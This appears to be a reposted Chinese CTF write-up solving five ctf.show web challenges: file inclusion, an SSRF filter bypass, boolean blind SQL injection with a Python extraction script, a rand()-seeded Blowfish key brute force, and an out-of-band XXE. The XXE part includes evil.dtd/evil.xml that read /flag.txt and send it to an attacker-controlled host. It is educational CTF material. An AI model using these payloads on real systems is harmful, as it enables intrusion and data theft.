WEB AK賽
- 簽到_觀己
- 考點
- 思路
- Payload
- web1_觀字
- 考點
- 思路
- Payload
- web2_觀星
- 考點
- 思路
- Payload
- web3_觀圖
- 考點
- 思路
- Payload
- web4_觀心
- 考點
- 思路
- Payload
簽到_觀己
考點
檔案包含
思路
盲猜一波flag在根目錄下,所以直接讀取試試
Payload
原始碼
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match('/php/i', $file)){
die('error');
}else{
include($file);
}
}else{
highlight_file(__FILE__);
}
?>

web1_觀字
考點
正則運算式繞過,ssrf
思路
觀察原始碼,發現其過濾了很多關鍵詞,原始碼提示我們flag的位置但是
.被過濾了,想到,可以替代.,于是將http://192.168.7.68/flag換成http://192,168,7,68/flag,然后進行url編碼%68%74%74%70%3A%2F%2F%31%39%32%E3%80%82%31%36%38%E3%80%82%37%E3%80%82%36%38%2F%66%6C%61%67
Payload
原始碼
<?php
#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
$url = $_GET['url'];
$protocol = substr($url, 0,7);
if($protocol!='http://'){
die('僅限http協議訪問');
}
if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
die('僅限域名地址訪問');
}
system('curl '.$url);
}

web2_觀星
考點
SQL注入
思路
觀察url
http://ec9d42c5-9d82-47f6-b1e0-e6ad1f0ec75d.challenge.ctf.show:8080/index.php?id=3,id值很可能存在sql注入點,利用burpsuite進行fuzz一下,其中524是被過濾了的,


未過濾
^,考慮布爾盲注payload:id=1^case(ord(substr((database())from({0})for(1))))when({1})then(2)else(3)end.format(i,j),過濾了逗號,if 無法使用則用case…when…then…else…end#代替繞過,substr中的逗號用substr(…from…for…)代替繞過
Payload
注入腳本
import requests
baseurl='http://ec9d42c5-9d82-47f6-b1e0-e6ad1f0ec75d.challenge.ctf.show:8080/index.php?id=1^'
value=""
for i in range(49,100):
for j in range(38,128):
# paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j)
# paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
# paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
# "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j)
newurl=baseurl+paylaod
rep=requests.get(newurl)
# print(rep)
if "I asked nothing" in rep.text:
print(value)
value+=chr(j)
break

web3_觀圖
考點
openssl_decrypt加密
思路
F12查看原始碼發現
showImage.php?image=Z6Ilu83MIDw=,訪問showImage.php查看原始碼,圖片檔案名是Z6Ilu83MIDw=經過bf-ecb演算法用key得到的,key的生成方式為substr(md5('ctfshow'.rand()),3,8),查詢rand() 函式若里面的引數為空,則回傳 0 到 getrandmax() 之間的偽隨機整數,getrandmax()函式回傳亂數可能回傳的最大值,既然有上限即可進行爆破來得出key值,為5a78dbb4,然后利用openssl_decrypt($image, 'bf-ecb', $key),得到config.php的值,傳參?image=N6bf8Bd8jm0SpmTZGl0isw==,下載圖片得到flag
Payload
showImage.php原始碼
<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
$image=$_GET['image'];
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(file_exists($str)){
header('content-type:image/gif');
echo file_get_contents($str);
}
}else{
highlight_file(__FILE__);
}
?>
爆破腳本
<?php
for($i=0;$i<getrandmax();$i++){
$key = substr(md5('ctfshow'.$i),3,8);
$image="Z6Ilu83MIDw=";
$str = openssl_decrypt($image, 'bf-ecb', $key);
if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
print($str."\n");
print($i."\n");
print($key."\n");
break;
}
}



web4_觀心
考點
xxe
思路
查看原始碼中的commo.js檔案,當我們沒有填city的時候報錯,推測考點xxe,然后測驗api這個借口,發現必須是http(s)協議,而且必須包含.xml,于是利用思路:自己vps上構造惡意xml讀取檔案,首先新建兩個檔案,ip用自己的服務器ip替代,將兩個檔案上傳到自己服務器,訪問:
http://b8e15b29-d83f-4e6d-8015-f5b726b1685c.challenge.ctf.show:8080/api.php,post:city=fuzhou&api=http://ip/evil.xml,base64解碼獲得flag
Payload
commo.js原始碼
function jstq(){
var city='';
$.ajax({
type:'GET',
url:'http://ip-api.com/json/',
async:false,
dataType:'json',
success:function(data){
city = data['city'];
}
});
var ret = '';
$.ajax({
type: 'POST',
url: 'api.php',
async : false,
dataType: 'json',
data:{
api:'http://flash.weather.com.cn/wmaps/xml/city.xml', //網址http://開頭,必須xml結尾,否則錯誤
city:city
},
success: function(data){
ret = data['msg'];
}
});
return ret;
/* $api = str_replace('city', $city, $api); 替換城市為訪問者所在城市
$xml = geturl($api,'xml'); 獲取xml資料
$weather = simplexml_load_string($xml); 決議xml 資料
foreach($weather->children() as $child) 遍歷xml節點
{
if(strstr($child['cityname'],'市')){ cityname 包含 字符“市”,則認為是市區天氣
$city = $child['cityname'];
$tq = $child['stateDetailed'];
$f = $child['windState'];
}
}
xml 示例視圖:http://flash.weather.com.cn/wmaps/xml/xian.xml
*/
}
evil.dtd:
<!ENTITY % file SYSTEM "PHP://filter/read=convert.base64-encode/resource=/flag.txt" >
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ip/?%file;'>">
%all;
evil.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % xxe SYSTEM "http://ip/evil.dtd">
%xxe;
]>
<reset><login>&xxe;</login><secret>login</secret></reset>
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/287868.html
標籤:其他
